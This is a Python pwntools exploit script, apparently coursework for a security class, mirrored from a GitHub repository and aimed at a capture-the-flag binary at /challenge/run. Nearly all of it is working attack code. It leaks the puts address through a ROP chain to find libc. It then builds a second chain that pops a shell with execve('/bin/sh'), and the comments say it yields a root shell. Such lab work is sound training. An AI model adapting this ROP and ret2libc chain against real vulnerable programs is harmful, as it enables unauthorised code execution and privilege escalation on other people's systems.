mirror of
https://github.com/20kaushik02/CSE545_SS_Work.git
synced 2025-12-06 10:54:08 +00:00
142 lines
3.8 KiB
Python
142 lines
3.8 KiB
Python
#!/usr/bin/env python3
|
|
# -*- coding: utf-8 -*-
|
|
# This exploit template was generated via:
|
|
# $ pwn template /challenge/run
|
|
from pwn import *
|
|
|
|
# Set up pwntools for the correct architecture
|
|
exe = context.binary = ELF(args.EXE or '/challenge/run')
|
|
|
|
# Many built-in settings can be controlled on the command-line and show up
|
|
# in "args". For example, to dump all data sent/received, and disable ASLR
|
|
# for all created processes...
|
|
# ./exploit.py DEBUG NOASLR
|
|
|
|
|
|
|
|
def start(argv=[], *a, **kw):
|
|
'''Start the exploit against the target.'''
|
|
if args.GDB:
|
|
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
|
|
else:
|
|
return process([exe.path] + argv, *a, **kw)
|
|
|
|
# Specify your GDB script here for debugging
|
|
# GDB will be launched if the exploit is run via e.g.
|
|
# ./exploit.py GDB
|
|
gdbscript = '''
|
|
b 15
|
|
continue
|
|
'''.format(**locals())
|
|
|
|
#===========================================================
|
|
# EXPLOIT GOES HERE
|
|
#===========================================================
|
|
# Arch: amd64-64-little
|
|
# RELRO: No RELRO
|
|
# Stack: No canary found
|
|
# NX: NX enabled
|
|
# PIE: No PIE (0x400000)
|
|
|
|
io = start()
|
|
io.recvuntil(b"command.\n")
|
|
|
|
chal_elf = ELF("/challenge/run")
|
|
chal_rop = ROP(chal_elf)
|
|
|
|
# first, leak libc address
|
|
|
|
## payload padding
|
|
unbound_buffer = 0x7ffeb37aad8b
|
|
saved_rip = 0x7ffeb37aad98
|
|
offset = saved_rip - unbound_buffer
|
|
payload_1_padding = b'F' * offset
|
|
|
|
# get pop rdi gadget (from code itself) to place argument for puts
|
|
pop_rdi_gadget = chal_rop.find_gadget(['pop rdi', 'ret'])[0]
|
|
|
|
## puts(&puts)
|
|
## call puts with the resolved function in PLT (cld use GOT puts too?)
|
|
puts_plt=chal_elf.plt['puts']
|
|
|
|
## pass the address of puts in libc, obtained from GOT, as the argument to puts
|
|
puts_got=chal_elf.got['puts']
|
|
|
|
## go back to `vuln` function
|
|
vuln_addr = chal_elf.symbols['vuln']
|
|
|
|
payload_1 = payload_1_padding + \
|
|
p64(pop_rdi_gadget) + p64(puts_got) + \
|
|
p64(puts_plt) + \
|
|
p64(vuln_addr) + b'\n'
|
|
|
|
io.send(payload_1)
|
|
|
|
## get libc address from output
|
|
# strip() can take away other whitespaces as well, so 0x20 (space) if part of an address, gets removed
|
|
# so use split() to be more exact
|
|
addr_line = io.recvuntil(b"command.\n").split(b"\n")[0]
|
|
puts_addr = int.from_bytes(addr_line, byteorder="little")
|
|
print("puts is at:", hex(puts_addr))
|
|
|
|
# readelf and grep
|
|
puts_offset = 0x84420
|
|
libc_addr = puts_addr - puts_offset
|
|
print("libc is at:", hex(libc_addr))
|
|
|
|
# io.interactive()
|
|
|
|
# now, load libc
|
|
libc_elf = ELF("/lib/x86_64-linux-gnu/libc.so.6")
|
|
libc_rop = ROP(libc_elf)
|
|
|
|
## 1.1 find string - /bin/sh
|
|
bin_sh = next(libc_elf.search(b"/bin/sh")) # relative position
|
|
bin_sh += libc_addr # absolute address
|
|
|
|
## 1.2 pop rdi, ret
|
|
# pop_rdi_gadget = libc_rop.find_gadget(['pop rdi', 'ret'])[0]
|
|
# pop_rdi_gadget += libc_addr
|
|
## already have this
|
|
|
|
## 2.1 zero can be loaded onto stack directly (? null byte?)
|
|
|
|
## 2.2 pop rdx, ret
|
|
# pop_rdx_gadget = libc_rop.find_gadget(['pop rdx', 'pop r12', 'ret'])[0]
|
|
# pop_rdx_gadget += libc_addr
|
|
## this time, from code itself
|
|
pop_rdx_gadget = chal_rop.find_gadget(['pop rdx', 'ret'])[0]
|
|
|
|
## 3.1 zero can be loaded onto stack directly (? null byte?)
|
|
|
|
## 3.2 pop rsi, ret
|
|
# libc_rop.rsi = 0x0
|
|
pop_rsi_gadget = libc_rop.find_gadget(['pop rsi', 'ret'])[0]
|
|
pop_rsi_gadget += libc_addr
|
|
|
|
## 4.1 0x3b can be loaded onto stack directly
|
|
|
|
## 4.2 pop rax, ret
|
|
# libc_rop.rax = 0x3b
|
|
pop_rax_gadget = libc_rop.find_gadget(['pop rax', 'ret'])[0]
|
|
pop_rax_gadget += libc_addr
|
|
|
|
## 5. syscall
|
|
syscall_gadget = libc_rop.find_gadget(['syscall'])[0]
|
|
syscall_gadget += libc_addr
|
|
|
|
# payload padding
|
|
payload_2_padding = payload_1_padding
|
|
|
|
payload_2 = payload_2_padding + \
|
|
p64(pop_rdi_gadget) + p64(bin_sh) + \
|
|
p64(pop_rdx_gadget) + p64(0) + \
|
|
p64(pop_rsi_gadget) + p64(0) + \
|
|
p64(pop_rax_gadget) + p64(0x3b) + \
|
|
p64(syscall_gadget)
|
|
|
|
io.send(payload_2)
|
|
|
|
# root shell obtained
|
|
io.interactive()
|